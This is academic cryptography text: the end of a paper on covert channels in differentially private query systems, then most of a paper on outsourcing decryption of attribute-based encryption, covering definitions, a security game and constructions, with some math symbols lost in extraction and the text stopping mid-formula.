Side channels: Side channels can leak private informa-

tion, e.g., through electromagnetic radiation [13, 24] or

power consumption [17]. Many of these channels can

only be exploited if the adversary is physically close to

the machine that executes the queries, which is not per-

mitted by our threat model.

Real-time systems: Some real-time systems have pro-

visions for handling timer overrun problems in untrusted

code, such as preemption or partial admission [29]. In

our scenario, it would not be sufficient to simply preempt

a microquery that has overshot its timeout—we must be

able to terminate it and clean up all of its side effects be-

fore the timeout expires. Another approach is inferring

the worst-case execution time [28], which is known to be

difficult even for trusted code.

10 Conclusion

We have demonstrated that state-of-the-art systems for

differentially private data analysis are vulnerable to sev-

eral different kinds of covert-channel attacks from adver-

sarial queriers. Covert channels are particularly danger-

ous in this context because the leakage of even a single

bit of private, un-noised information completely destroys

the guarantees these systems are designed to provide. We

analyzed the space of potential solutions, and we pre-

sented the design of Fuzz, which represents one specific

solution from this space and relies on default values and

predictable transactions. Using a proof-of-concept im-

plementation based on Caml Light, we demonstrated that

Fuzz can be retrofitted into an existing language runtime.

Our evaluation shows that Fuzz is practical and expres-

sive enough to support realistic queries. Fuzz increases

query completion times compared to systems without

covert-channel defenses, but the increase does not seem

large enough to prevent practical applications.
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Abstract

Attribute-based encryption (ABE) is a new vision for
public key encryption that allows users to encrypt and
decrypt messages based on user attributes. For example,
a user can create a ciphertext that can be decrypted only
by other users with attributes satisfying (“Faculty” OR
(“PhD Student” AND “Quals Completed”)). Given its
expressiveness, ABE is currently being considered for
many cloud storage and computing applications. How-
ever, one of the main efficiency drawbacks of ABE is that
the size of the ciphertext and the time required to decrypt
it grows with the complexity of the access formula.

In this work, we propose a new paradigm for ABE that
largely eliminates this overhead for users. Suppose that
ABE ciphertexts are stored in the cloud. We show how
a user can provide the cloud with a single transformation
key that allows the cloud to translate any ABE ciphertext
satisfied by that user’s attributes into a (constant-size) El
Gamal-style ciphertext, without the cloud being able to
read any part of the user’s messages.

To precisely define and demonstrate the advantages of
this approach, we provide new security definitions for
both CPA and replayable CCA security with outsourc-
ing, several new constructions, an implementation of our
algorithms and detailed performance measurements. In a
typical configuration, the user saves significantly on both
bandwidth and decryption time, without increasing the
number of transmissions.
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1 Introduction

Traditionally, we have viewed encryption as a method
for one user to encrypt data to another specific targeted
party, such that only the target recipient can decrypt and
read the message. However, in many applications a user
might often wish to encrypt data according to some pol-
icy as opposed to specified set of users. Trying to realize
such applications on top of a traditional public key mech-
anism poses a number of difficulties. For instance, a user
encrypting data will need to have a mechanism which
allows him to look up all parties that have access creden-
tials or attributes that match his policy. These difficul-
ties are compounded if a party’s credentials themselves
might be sensitive (e.g., the set of users with a TOP SE-
CRET clearance) or if a party gains credentials well after
data is encrypted and stored.

To address these issues, a new vision of encryption
was put forth by Sahai and Waters [38] called Attribute-
Based Encryption (ABE). In an ABE system, a user will
associate an encryption of a message M with an function
f (·), representing an access policy associated with the
decryption. A user with a secret key that represents their
set of attributes (e.g., credentials) S and will be able to
decrypt a ciphertext associated with function f (·) if and
only if f (S) = 1. Since the introduction of ABE there
have been several other works proposing different vari-
ants [24, 7, 14, 36, 23, 42, 15, 28, 35] extending both
functionality and refining security proof techniques. 1

One property that all of these ABE systems have is
that both the ciphertext size and time for decryption grow
with the size of the access formula f . Roughly, cur-
rent efficient ABE realizations are set in pairing-based
groups where the ciphertexts require two group elements
for every node in the formula and decryption will require

1A more general concept of functional encryption [11] allows for
more general functions to be computed on the encrypted data and en-
compasses work such as searching on encrypted data and predicate en-
cryption [10, 2, 12, 39, 27].
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Scheme ABE Security Model Full CT Full Decrypt Out CT Out Dec
Type Level Size Ops Size Ops

Waters [42] CP CPA - |GT |+(1+2�)|G| ≤ (2+ �)P+2�EG - -
§3.1 CP CPA - |GT |+(1+2�)|G| ≤ (2+ �)P+2�EG 2|GT | ET
§3.2 CP RCCA RO |GT |+(1+2�)|G|+ k ≤ (2+ �)P+2�EG +2ET 2|GT |+ k 3ET

GPSW [24] KP CPA - |GT |+(1+ s)|G| ≤ (1+ �)P+2�EG - -
§4.1 KP CPA - |GT |+(1+ s)|G| ≤ (1+ �)P+2�EG 2|GT | ET
§4.2 KP RCCA RO |GT |+(1+ s)|G|+ k ≤ (1+ �)P+2�EG +2ET 2|GT |+ k 3ET

Figure 1: Summary of ABE outsourcing results. Above s denotes the size of an attribute set, � refers to an LSSS access
structure with an �×n matrix, k is the message bit length in RCCA schemes, and P,EG,ET stand for the maximum time
to compute a pairing, exponentiation in G and exponentiation in GT respectively. We ignore non-dominant operations.
All schemes are in the selective security setting. We discuss methods for moving to adaptive security in Section 5.1.

a pairing for each node in the satisfied formula. While
conventional desktop computers should be able to handle
such a task for typical formula sizes, this presents a sig-
nificant challenge for users that manage and view private
data on mobile devices where processors are often one to
two orders of magnitude slower than their desktop coun-
terparts and battery life is a persistent problem. Interest-
ingly, in tandem there has emerged the ability for users
to buy on-demand computing from cloud-based services
such as Amazon’s EC2 and Microsoft’s Windows Azure.

Can cloud services be securely used to outsource de-
cryption in Attribute-Based Encryption systems? A
naive first approach would be for a user to simply hand
over their secret key, SK, to the outsourcing service.
The service could then simply decrypt all ciphertexts re-
quested by the user and then transmit the decrypted data.
However, this requires complete trust of the outsourc-
ing service; using the secret key the outsourcing service
could read any encrypted message intended for the user.

A second approach might be to leverage recent out-
sourcing techniques [20, 17] based on Gentry’s [21] fully
homomorphic encryption system. These give outsourc-
ing for general computations and importantly preserve
the privacy of the inputs so that the decryption keys and
messages can remain hidden. Unfortunately, the over-
head for these systems is currently impractical. Gentry
and Halevi [22] showed that even for weak security pa-
rameters one “bootstrapping” operation of the homomor-
phic operation would take at least 30 seconds on a high
performance machine (and 30 minutes for the high se-
curity parameter). Since one such operation would only
count for a small constant number of gates in the overall
computation, this would need to be repeated many times
to evaluate an ABE decryption using the methods above.

Closer to practice, we might leverage recent tech-
niques on secure outsourcing of pairings [16]. These
techniques allow a client to outsource a pairing operation
to a server. However, the solutions presented in [16] still
require the client to compute multiple exponentiations in
the target group for every pairing it outsources. These ex-

ponentiations can be quite expensive and the work of the
client will still be proportional to the size of the policy
f . Moreover, every pairing operation in the original pro-
tocol will trigger four pairings do be done by the proxy.
Thus, the total workload is increased by a factor of at
least four from the original decryption algorithm, and the
client’s bandwidth requirements may actually increase.
Given these drawbacks, we aim for an ABE outsourcing
system that is secure and imposes minimal overhead.

Our Contributions. We give new methods for effi-
ciently and securely outsourcing decryption of ABE ci-
phertexts. The core change to outsourceable ABE sys-
tems is a modified Key Generation algorithm that pro-
duces two keys. The first key is a short El Gamal [19]
type secret key that must be kept private by the user. The
second is what we call a “transformation key”, TK, that
is shared with a proxy (and can be publicly distributed).
If the proxy then receives a ciphertext CT for a func-
tion f for which the user’s credentials satisfy, it is then
able to use the key TK to transform CT into a simple and
short El Gamal ciphertext CT′ of the same message en-
crypted under the user’s key SK. The user is then able to
decrypt with one simple exponentiation. Our system is
secure against any malicious proxy. Moreover, the com-
putational effort of the proxy is no more than that used to
decrypt a ciphertext in a standard ABE system.

To achieve our results, we create what we call a new
key blinding technique. At a high level, the new out-
sourced key generation algorithm will first run a key gen-
eration algorithm from an existing bilinear map based
ABE scheme such as [24, 42]. Then it will choose a
blinding factor exponent z ∈ Zp (for groups of prime or-
der p) and raise all elements to z−1 (mod p). This will
produce the transformation key TK, while the blinding
factor z can serve as the secret key.

We show that we are able to adapt our outsourcing
techniques to both the “Ciphertext-Policy” (CP-ABE)
and “Key-Policy” (KP-ABE) types of ABE systems.2 To

2CP-ABE systems behave as we outlined above where a ciphertext
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Server Client

ABE CT

Figure 2: Illustration of how ABE ciphertexts are fetched
today.

Server Proxy Client

ABE CT CT

Figure 3: Outsourcing the Decryption: Illustration of
how ABE ciphertexts could be transformed by a proxy
into much shorter El Gamal-style ciphertexts.

achieve our KP-ABE and CP-ABE outsourcing systems
we respectively apply our methodology to the construc-
tions of Goyal et al. [24] and Waters [42]. To prove se-
curity of the systems we must show that they remain se-
cure even in the presence of an attacker that acts as a
user’s proxy. Our first systems and proofs model seman-
tic security for an attacker that tries to eavesdrop on the
user. We then extend our systems and proofs to chosen
ciphertext attacks where the attack might query the user’s
decryption routine on maliciously formed ciphertexts to
compromise privacy. Our solutions in this setting apply
the random oracle heuristic to achieve efficiency near the
chosen plaintext versions.

Typical Usage Scenarios. We envision a typical usage
scenario in Figures 2 and 3. Here a client sends a single
transformation key once to the proxy, who can then re-
trieve (potentially large) ABE ciphertexts that the user is
interested in and forward to her (small, constant-size) El
Gamal-type ciphertexts. The proxy could be the client’s
mail server, or the ciphertext server and the proxy could
be the same entity, as in a cloud environment.

The savings in bandwidth and local computation time
for the client are immediate: a transformed ciphertext
is always smaller and faster to decrypt than an ABE ci-
phertext of [24, 42] (for any policy size). We emphasize
in this useage scenario that the number of transmissions
will be the same as in the prior (non-outsourced) solu-
tions. Thus, the power consumption can only improve
with faster computations and smaller transmissions.

Implementation and Evaluation. To evaluate our out-
sourcing systems, we implemented the CP-ABE version

is associated with a boolean access formula f and a user’s key is a set of
attributes x, where a user can decrypt if f (x) = 1. KP-ABE is useful in
applications where we want to have the mirror image semantics where
the attributes x are associated with a ciphertext and an access formula
f with the key.

and tested it in an outsourcing environment. Our imple-
mentation modified part of the libfenc [25] library, which
includes a current CP-ABE implementation. We con-
ducted our experiments on both an ARM-based mobile
device and an Intel server to model the user device and
proxy respectively.

Outsourcing decryption resulted in significant practi-
cal benefits. Decrypting on an ABE ciphertext contain-
ing 100 attributes, we found that without the use of a
proxy the mobile device would require about 30 seconds
of computation time and drain a significant amount of
the device’s battery. When we applied our outsourcing
technique, decrypting the ciphertext took 2 seconds on
our Intel server and approximately 60 milliseconds on
the mobile device itself.

To demonstrate compatibility with existing infrastruc-
ture, we constructed a re-usable platform for outsourcing
decryption using the Amazon EC2 service. Our proxy is
deployed as a public Amazon Machine Image that can be
programmatically instantiated by any application requir-
ing acceleration.

In addition to the core benefits of outsourcing, we dis-
covered other collateral advantages. In existing ABE im-
plementations [6, 25] much of the decryption code is
dedicated to determining how a policy is satisfied by a
key and executing the corresponding pairing computa-
tions of decryption. In our outsourcing solution, most
of this code is pushed into the untrusted transformation
algorithm, leaving only a much smaller portion on the
user’s device. This has two advantages. First, the amount
of decryption code that needs to reside on a resource con-
strained user device will be smaller. Actually, all bilinear
map operations can be pushed outside. Second, this par-
titioning will dramatically decrease the size of the trusted
code base, removing thousands of lines of complex pars-
ing code. Even without using outsourcing, this partition-
ing of code is useful.

Related Work: Proxy Re-Encryption. In this work, we
show how to delegate (in a true offline sense) the ability
to transform an ABE ciphertext on message m into an
El Gamal-style ciphertext on the same m, without learn-
ing anything about m. This is similar to the concept of
proxy re-encryption [8, 4] where an untrusted proxy is
given a re-encryption key that allows it to transform an
encryption under Alice’s key of m into an encryption un-
der Bob’s key of the same m, without allowing the proxy
to learn anything about m.

2 Background

We first give the security definitions for ABE with out-
sourcing. We then give background information on bi-
linear maps. Finally, we provide formal definitions for
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access structures and relevant background on Linear Se-
cret Sharing Schemes (LSSS), as taken from [42].

Types of ABE. We consider two distinct varieties
of Attribute-Based Encryption: Ciphertext-Policy (CP-
ABE) and Key-Policy (KP-ABE). In CP-ABE an access
structure (policy) is embedded into the ciphertext during
encryption, and each decryption key is based an some
attribute set S. KP-ABE inverts this relationship, embed-
ding S into the ciphertext and a policy into the key.3 We
capture both paradigms in a generalized ABE definition.

2.1 Access Structures
Definition 1 (Access Structure [5]) Let {P1, P2, . . ., Pn}
be a set of parties. A collection A⊆ 2{P1,P2,...,Pn} is mono-
tone if ∀B,C : if B ∈A and B ⊆C then C ∈A. An access
structure (respectively, monotone access structure) is a
collection (resp., monotone collection) A of non-empty
subsets of {P1,P2, . . . ,Pn}, i.e., A ⊆ 2{P1,P2,...,Pn}\{ /0}.
The sets in A are called the authorized sets, and the sets
not in A are called the unauthorized sets.

In our context, the role of the parties is taken by the
attributes. Thus, the access structure A will contain the
authorized sets of attributes. We restrict our attention to
monotone access structures. However, it is also possible
to (inefficiently) realize general access structures using
our techniques by defining the “not” of an attribute as
a separate attribute altogether. Thus, the number of at-
tributes in the system will be doubled. From now on,
unless stated otherwise, by an access structure we mean
a monotone access structure.

2.2 ABE with Outsourcing
Let S represent a set of attributes, and A an access struc-
ture. For generality, we will define (Ienc, Ikey) as the in-
puts to the encryption and key generation function re-
spectively. In a CP-ABE scheme (Ienc, Ikey) = (A,S),
while in a KP-ABE scheme we will have (Ienc, Ikey) =
(S,A). A CP-ABE (resp. KP-ABE) scheme with out-
sourcing functionality consists of five algorithms:

Setup(λ ,U). The setup algorithm takes security param-
eter and attribute universe description as input. It outputs
the public parameters PK and a master key MK.

Encrypt(PK,M, Ienc). The encryption algorithm takes
as input the public parameters PK, a message M, and an

3More intuitively, CP-ABE is often suggested as a means to imple-
ment role-based access control, where the user’s key attributes corre-
spond the long-term roles and ciphertexts carry an access policy. Key-
Policy ABE is more appropriate in applications where ciphertexts may
be tagged with attributes (e.g., relating to message content), and each
user’s access to these ciphertexts determined by a policy in their de-
cryption key. For more on applications, see e.g., [37].

access structure (resp. attribute set) Ienc. It outputs the
ciphertext CT.

KeyGenout (MK, Ikey). The key generation algorithm
takes as input the master key MK and an attribute set
(resp. access structure) Ikey and outputs a private key SK
and a transformation key TK.

Transform(TK,CT). The ciphertext transformation al-
gorithm takes as input a transformation key TK for Ikey
and a ciphertext CT that was encrypted under Ienc. It out-
puts the partially decrypted ciphertext CT′ if S ∈ A and
the error symbol ⊥ otherwise.

Decryptout (SK,CT′). The decryption algorithm takes as
input a private key SK for Ikey and a partially decrypted
ciphertext CT′ that was originally encrypted under Ienc.
It outputs the message M if S ∈ A and the error symbol
⊥ otherwise.4

Why RCCA security? We describe a security model for
ABE that support outsourcing. We want a very strong
notion of security. The traditional notion of security
against adaptive chosen-ciphertext attacks (CCA) is a bit
too strong since it does not allow any bit of the cipher-
text to be altered, and the purpose of our outsourcing is
to compress the size of the ciphertext. We thus adopt
a relaxation due to Canetti, Krawczyk and Nielsen [13]
called replayable CCA security, which allows modifica-
tions to the ciphertext provided they cannot change the
underlying message in a meaningful way.

RCCA Security Model for ABE with Outsourcing. Fig-
ure 4 describes a generalized RCCA security game for
both KP-ABE and CP-ABE schemes with outsourcing.
We define the advantage of an adversary A in this game
as Pr[b′ = b]− 1

2 .

Definition 2 (RCCA-Secure ABE with Outsourcing)
A CP-ABE or KP-ABE scheme with outsourcing is
RCCA-secure (or secure against replayable chosen-
ciphertext attacks) if all polynomial time adversaries
have at most a negligible advantage in the RCCA game
defined above.

CPA Security. We say that a system is CPA-secure (or
secure against chosen-plaintext attacks) if we remove the
Decrypt oracle in both Phase 1 and 2.

Selective Security. We say that a CP-ABE (resp. KP-
ABE) system is selectively secure if we add an Init stage
before Setup where the adversary commits to the chal-
lenge value I∗enc.

4Note that we can implement the standard (non-outsourced) ABE
Decrypt algorithm by combining Transform and Decryptout .
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Setup. The challenger runs the Setup algorithm and gives the public parameters, PK to the adversary.

Phase 1. The challenger initializes an empty table T , an empty set D and an integer j = 0. Proceeding adaptively,
the adversary can repeatedly make any of the following queries:

• Create(Ikey): The challenger sets j := j+1. It runs the outsourced key generation algorithm on Ikey to obtain the
pair (SK,TK) and stores in table T the entry ( j, Ikey,SK,TK). It then returns to the adversary the transformation
key TK.
Note: Create can be repeatedly queried with the same input.

• Corrupt(i): If there exists an ith entry in table T , then the challenger obtains the entry (i, Ikey,SK,TK) and sets
D := D∪{Ikey}. It then returns to the adversary the private key SK. If no such entry exists, then it returns ⊥.

• Decrypt(i,CT): If there exists an ith entry in table T , then the challenger obtains the entry (i, Ikey,SK,TK) and
returns to the adversary the output of the decryption algorithm on input (SK,CT). If no such entry exists, then
it returns ⊥.

Challenge. The adversary submits two equal length messages M0 and M1. In addition the adversary gives a value
I∗enc such that for all Ikey ∈ D, f (Ikey, I∗enc) �= 1. The challenger flips a random coin b, and encrypts Mb under I∗enc. The
resulting ciphertext CT∗ is given to the adversary.

Phase 2. Phase 1 is repeated with the restrictions that the adversary cannot

• trivially obtain a private key for the challenge ciphertext. That is, it cannot issue a Corrupt query that would
result in a value Ikey which satisfies f (Ikey, I∗enc) = 1 being added to D.

• issue a trivial decryption query. That is, Decrypt queries will be answered as in Phase 1, except that if the
response would be either M0 or M1, then the challenger responds with the special message test instead.

Guess. The adversary outputs a guess b′ of b.

Figure 4: Generalized RCCA Security game for CP- and KP-ABE with outsourcing functionality. For CP-ABE we
define the function f (Ikey, Ienc) as f (S,A) and for KP-ABE it is defined as f (A,S). In either case the function f
evaluates to 1 iff S ∈ A.

2.3 Bilinear Maps

Let G and GT be two multiplicative cyclic groups of
prime order p. Let g be a generator of G and e : G×G→
GT be a bilinear map with the properties:

1. Bilinearity: for all u,v ∈ G and a,b ∈ Zp, we have
e(ua,vb) = e(u,v)ab.

2. Non-degeneracy: e(g,g) �= 1.

We say that G is a bilinear group if the group opera-
tion in G and the bilinear map e : G×G→GT are both
efficiently computable.

The schemes we present in this work are provably
secure under the Decisional Parallel BDHE Assump-
tion [42] and the Decisional Bilinear Diffie-Hellman as-
sumption (DBDH) [9] in bilinear groups. For reasons
of space we will omit a definition of these assumptions
here, and refer the reader to the cited works.

2.4 Linear Secret Sharing Schemes
We will make essential use of linear secret-sharing
schemes. We adapt our definitions from those in [5]:

Definition 3 (Linear Secret-Sharing Schemes (LSSS) )
A secret-sharing scheme Π over a set of parties P is
called linear (over Zp) if

1. The shares of the parties form a vector over Zp.

2. There exists a matrix M with � rows and n columns
called the share-generating matrix for Π. There ex-
ists a function ρ which maps each row of the matrix
to an associated party. That is for i = 1, . . . , �, the
value ρ(i) is the party associated with row i. When
we consider the column vector v = (s,r2, . . . ,rn),
where s ∈ Zp is the secret to be shared, and
r2, . . . ,rn ∈ Zp are randomly chosen, then Mv is the
vector of � shares of the secret s according to Π.
The share (Mv)i belongs to party ρ(i).

It is shown in [5] that every linear secret sharing-
scheme according to the above definition also enjoys the
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linear reconstruction property, defined as follows: Sup-
pose that Π is an LSSS for the access structure A. Let
S ∈ A be any authorized set, and let I ⊂ {1,2, . . . , �} be
defined as I = {i : ρ(i) ∈ S}. Then, there exist constants
{ωi ∈Zp}i∈I such that, if {λi} are valid shares of any se-
cret s according to Π, then ∑i∈I ωiλi = s. It is shown
in [5] that these constants {ωi} can be found in time
polynomial in the size of the share-generating matrix M.

Like any secret sharing scheme, it has the property that
for any unauthorized set S /∈ A, the secret s should be
information theoretically hidden from the parties in S.

Note on Convention. We use the convention that vector
(1,0,0, . . . ,0) is the “target” vector for any linear secret
sharing scheme. For any satisfying set of rows I in M,
we will have that the target vector is in the span of I.

For any unauthorized set of rows I the target vector is
not in the span of the rows of the set I. Moreover, there
will exist a vector w such that w · (1,0,0 . . . ,0) = −1 and
w ·Mi = 0 for all i ∈ I.

Using Access Trees. Some prior ABE works (e.g., [24])
described access formulas in terms of binary trees. Using
standard techniques [5] one can convert any monotonic
boolean formula into an LSSS representation. An access
tree of � nodes will result in an LSSS matrix of � rows.

3 Outsourcing Decryption for Ciphertext-
Policy ABE

3.1 A CPA-secure Construction

Our CP-ABE construction is based on the “large uni-
verse” construction of Waters [42], which was proven
to be selectively CPA-secure under the Decisional q-
parallel BDHE assumption for a challenge matrix of size
�∗ ×n∗, where �∗,n∗ ≤ q.5 The Setup, Encrypt and (non-
outsourced) Decrypt algorithms are identical to [42]. To
enable outsourcing we modify the KeyGen algorithm to
output a transformation key. We also define a new Trans-
form algorithm, and modify the decryption algorithm to
handle outputs of Encrypt as well as Transform. We
present the full construction in Figure 5.

Discussion. For generality, we defined the transfor-
mation key TK as being created by the master author-
ity. However, we observe that our outsourcing approach
above is actually backwards compatible with existing de-
ployments of the Waters system. In particular, one can
see that any existing user with her own Waters SK can
create a corresponding outsourcing pair (SK′,TK′) by
rerandomizing with a random value z.

5By “large universe”, we mean a system that allows for a super-
polynomial number of attributes.

Theorem 3.1 Suppose the large universe construction
of Waters [42, Appendix C] is a selectively CPA-secure
CP-ABE scheme. Then the CP-ABE scheme of Figure 5
is a selectively CPA-secure outsourcing scheme.

Note that the Waters scheme of [42] was proven secure
under the Decisional q-parallel BDHE assumption. Due
to space constraints, we omit a proof of Theorem 3.1.
However, we observe that the proof techniques are quite
similar to those used for the RCCA-secure variant we
present in the next section.

3.2 An RCCA-secure Construction

We now extend our CPA-secure system to achieve the
stronger RCCA-security guarantee. To do so, we borrow
some techniques from Fujisaki and Okamoto [18], who
(roughly) showed how to transform a CPA-secure en-
cryption scheme into a CCA-secure encryption scheme
in the random oracle model. Here we relax to RCCA-
security and have the additional challenge of preserving
the decryption outsourcing capability.

The Setup and KeyGen algorithms operate exactly as
in the CPA-secure scheme, except the public key addi-
tionally includes the description of hash functions H1 :
{0,1}∗ → Zp and H2 : {0,1}∗ → {0,1}k. We now de-
scribe the remaining algorithms.

Encryptrcca(PK,M ∈ {0,1}k,(M,ρ)) The encryption

algorithm selects a random R ∈ GT and then com-
putes s = H1(R,M ) and r = H2(R). It then computes
(C1,D1), . . . ,(C�,D�) as in the CPA-secure construction
of Figure 5 (except that s is no longer chosen randomly
as part of�v). The ciphertext is published as CT =

C = R · e(g,g)αs, C′ = gs, C′′ = M ⊕ r,

(C1,D1), . . . ,(C�,D�)

along with a description of access structure (M,ρ).

Transformrcca(TK,CT). The transformation algorithm
recovers the value e(g,g)sα/z as before. It outputs the
partially decrypted ciphertext CT′ as (C,C′′,e(g,g)sα/z).

Decryptrcca(SK,CT). The decryption algorithm takes
as input a private key SK = (z,TK) and a ciphertext CT.
If the ciphertext is not partially decrypted, then the algo-
rithm first executes Transformout(TK,CT). If the output
is ⊥, then this algorithm outputs ⊥ as well. Otherwise, it
takes the ciphertext (T0,T1,T2) and computes R = T0/T z

2 ,
M = T1⊕H2(R), and s = H1(R,M ). If T0 = R ·e(g,g)αs

and T2 = e(g,g)αs/z, it outputs M ; otherwise, it outputs
the error symbol ⊥.
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Setup(λ ,U). The setup algorithm takes as input a security parameter and a universe description U . To cover the most general
case, we let U = {0,1}∗. It then chooses a group G of prime order p, a generator g and a hash function F that maps {0,1}∗
to G.a In addition, it chooses random exponents α,a ∈ Zp. The authority sets MSK = (gα ,PK) as the master secret key. It
publishes the public parameters as:

PK = g, e(g,g)α , ga, F

Encrypt(PK,M ,(M,ρ)) The encryption algorithm takes as input the public parameters PK and a message M to encrypt. In
addition, it takes as input an LSSS access structure (M,ρ). The function ρ associates rows of M to attributes. Let M be an
�× n matrix. The algorithm first chooses a random vector �v = (s,y2, ...,yn) ∈ Zn

p. These values will be used to share the
encryption exponent s. For i = 1 to �, it calculates λi =�v ·Mi, where Mi is the vector corresponding to the ith row of M. In
addition, the algorithm chooses random r1, . . . ,r� ∈ Zp. The ciphertext is published as CT =

C = M · e(g,g)αs, C′ = gs,

(C1 = gaλ1 ·F(ρ(1))−r1 , D1 = gr1), . . . ,(C� = gaλ� ·F(ρ(�))−r� , D� = gr�)

along with a description of (M,ρ).

KeyGenout (MSK,S) The key generation algorithm runs KeyGen(MSK,S) to obtain SK′ = (PK,K′ = gα gat ′ ,L′ = gt ′ ,{K′
x =

F(x)t ′ }x∈S). It chooses a random value z ∈ Z∗
p. It sets the transformation key TK as

PK, K = K′1/z = g(α/z)ga(t ′/z) = g(α/z)gat , L = L′1/z = g(t ′/z) = gt , {Kx}x∈S = {K′1/z
x }x∈S

and the private key SK as (z,TK).

Transformout(TK,CT) The transformation algorithm takes as input a transformation key TK = (PK,K,L,{Kx}x∈S) for a set S
and a ciphertext CT = (C,C′,C1, . . . ,C�) for access structure (M,ρ). If S does not satisfy the access structure, it outputs ⊥.
Suppose that S satisfies the access structure and let I ⊂ {1,2, . . . , �} be defined as I = {i : ρ(i) ∈ S}. Then, let {ωi ∈ Zp}i∈I
be a set of constants such that if {λi} are valid shares of any secret s according to M, then ∑i∈I ωiλi = s. The transformation
algorithm computes

e(C′,K)/
(

e(∏i∈I Cωi
i ,L) ·∏i∈I e(Dωi

i ,Kρ(i))
)

=

e(g,g)sα/ze(g,g)ast/
(

∏i∈I e(g,g)taλiωi

)
= e(g,g)sα/z

It outputs the partially decrypted ciphertext CT′ as (C,e(g,g)sα/z), which can be viewed as the El Gamal ciphertext (M ·
Gzd ,Gd) where G = e(g,g)1/z ∈GT and d = sα ∈ Zp.

Decryptout(SK,CT) The decryption algorithm takes as input a private key SK = (z,TK) and a ciphertext CT. If the ciphertext is
not partially decrypted, then the algorithm first executes Transformout(TK,CT). If the output is ⊥, then this algorithm outputs
⊥ as well. Otherwise, it takes the ciphertext (T0,T1) and computes T0/T z

1 = M .
Notice that if the ciphertext is already partially decrypted for the user, then she need only compute one exponentiation and no
pairings to recover the message.

aSee Waters [42] for details on how to implement this hash in the standard model. For our purposes, one can think of F as a random oracle.

Figure 5: A CPA-secure CP-ABE outsourcing scheme based on the large-universe construction of Waters [42, Ap-
pendix C].
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Theorem 3.2 Suppose the large universe construction
of Waters [42, Appendix C] is a selectively CPA-secure
CP-ABE scheme. Then the outsourcing scheme above is
selectively RCCA-secure in the random oracle model for
large message spaces.6

We present a proof of Theorem 3.2 in Appendix A.

4 Outsourcing Decryption for Key-Policy
ABE

4.1 A CPA-secure Construction
We now present an outsourcing scheme based on the
large universe KP-ABE construction due to Goyal,
Pandey, Sahai and Waters [24].7 The Setup and Encrypt
algorithms are identical to [24]. We modify KeyGen to
output a transformation key, introduce a Transform algo-
rithm, and then modify the decryption algorithm to han-
dle outputs of Encrypt as well as Transform. The full
construction is presented in Figure 6.

Theorem 4.1 Suppose the GPSW KP-ABE scheme [24]
is selectively CPA-secure. Then the KP-ABE scheme of
Figure 6 is a selectively CPA-secure outsourcing scheme.

Discussion. As in the previous construction, we defined
the transformation key TK as being created by the master
authority. We again note that our outsourcing approach
above is actually backwards compatible with existing de-
ployments of the GPSW system.

Due to restrictions on space, we leave the proof of se-
curity to the full version of this work [26].

4.2 An RCCA-secure construction
We now extend our above results, which only hold for
CPA-security, to the stronger RCCA-security guarantee.
Once again, we accomplish this using the techniques
from Fujisaki and Okamoto [18]. The Setup and Key-
Gen algorithms operate exactly as before, except the pub-
lic key additionally includes the value e(g,h)α (which
was already computable from existing values) and the
description of hash functions H1 : {0,1}∗ → Zp and
H2 : {0,1}∗ → {0,1}k.

6The security of this scheme follows for large message spaces; e.g.,
k-bit spaces where k ≥ λ , the security parameter. To obtain a secure
scheme for smaller message spaces, replace C′′ with any CPA-secure
symmetric encryption of M using key H2(R) and let the range of H2 be
the key space of this symmetric scheme. Since the focus of this work is
on efficiency, we’ll typically be assuming large enough message spaces
and therefore opting for the quicker XOR operation.

7This construction was originally described using access trees; here
we generalize it to LSSS access structures.

Encryptrcca(PK,M ∈ {0,1}k,S). The encryption al-
gorithm chooses a random R ∈ GT . It then computes
s = H1(R,M ) and r = H2(R). For each x ∈ S it gener-
ates Cx as in the CPA-secure scheme. The ciphertext is
published as CT =

C = R · e(g,h)αs, C′ = gs, C′′ = r⊕M , {Cx}x∈S

along with a description of S.

Transformrcca(TK,CT). The transformation algorithm
recovers the value e(g,h)sα/z as before. It outputs the
partially decrypted ciphertext CT′ as (C,C′′,e(g,h)sα/z).

Decryptrcca(SK,CT). The decryption algorithm takes
as input a private key SK = (z,TK) and a ciphertext CT.
If the ciphertext is not partially decrypted, then the algo-
rithm first executes Transformout(TK,CT). If the output
is ⊥, then this algorithm outputs ⊥ as well. Otherwise, it
takes the ciphertext (T0,T1,T2) and computes R = T0/T z

2 ,
M = T1⊕H2(R), and s = H1(R,M ). If T0 = R ·e(g,h)αs

and T2 = e(g,h)αs/z, it outputs M ; otherwise, it outputs
the error symbol ⊥.

Theorem 4.2 Suppose the construction of GPSW [24]
is a selectively CPA-secure KP-ABE scheme. Then the
outsourcing scheme above is selectively RCCA-secure in
the random oracle model for large message spaces.

See the footnote on Theorem 3.2 for a definition and dis-
cussion of “large message spaces”. We present a proof
of Theorem 4.2 in the full version [26] of this work.

5 Discussion

5.1 Achieving Adaptive Security
The systems we presented were proven secure in the se-
lective model of security. We briefly sketch how we can
adapt our techniques to achieve ABE systems that are
provably secure in the adaptive model.8

Recently, the first ABE systems that achieved adap-
tive security were proposed by Lewko et al. [28] using
the techniques of Dual System Encryption [41]. Since
the underlying structure of the KP-ABE and CP-ABE
schemes presented by Lewko et al. is almost respectively
identical to the underlying Goyal et al. [24] and Wa-
ters [42] systems we use, it is possible to adapt our con-
struction techniques to these underlying constructions.9

8We briefly note that it is simple to prove adaptive security of our
schemes in the generic group model like Bethencourt, Sahai, and Wa-
ters [7]. Here we are interested in proofs under non-interactive assump-
tions.

9The main difference in terms of the constructions is that the sys-
tems proposed by Lewko et al. are set in composite order groups where
the “core scheme” sits in one subgroup. The primary novelty of their
work is in developing adaptive proofs of security for ABE systems.
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Setup(λ ,U). The setup algorithm takes as input a security parameter and a universe description U . To cover the most general
case, we let U = {0,1}∗. It then chooses a group G of prime order p, a generator g and a hash function F that maps {0,1}∗
to G.a In addition, it chooses random values α ∈ Zp and h ∈G. The authority sets MSK = (α,PK) as the master secret key.
The public key is published as

PK = g, gα , h, F

Encrypt(PK,M ,S). The encryption algorithm takes as input the public parameters PK, a message M to encrypt, and a set of
attributes S. It chooses a random s ∈ Zp. The ciphertext is published as CT = (S,C) where

C = M · e(g,h)αs, C′ = gs, {Cx = F(x)s}x∈S.

KeyGenout(MSK,(M,ρ)). Parse MSK = (α,PK). The key generation algorithm runs KeyGen((α , PK),(M,ρ)) to obtain SK′ =
(PK,(D′

1 = hλ1 ·F(ρ(1))r′1 ,R′
1 = gr′1), . . . ,(D′

�,R
′
�)). Next, it chooses a random value z ∈ Zp, computes the transformation key

TK as below, and outputs the private key as (z,TK). Denoting r′i/z as ri, TK is computed as:

PK, (D1 = D′1/z
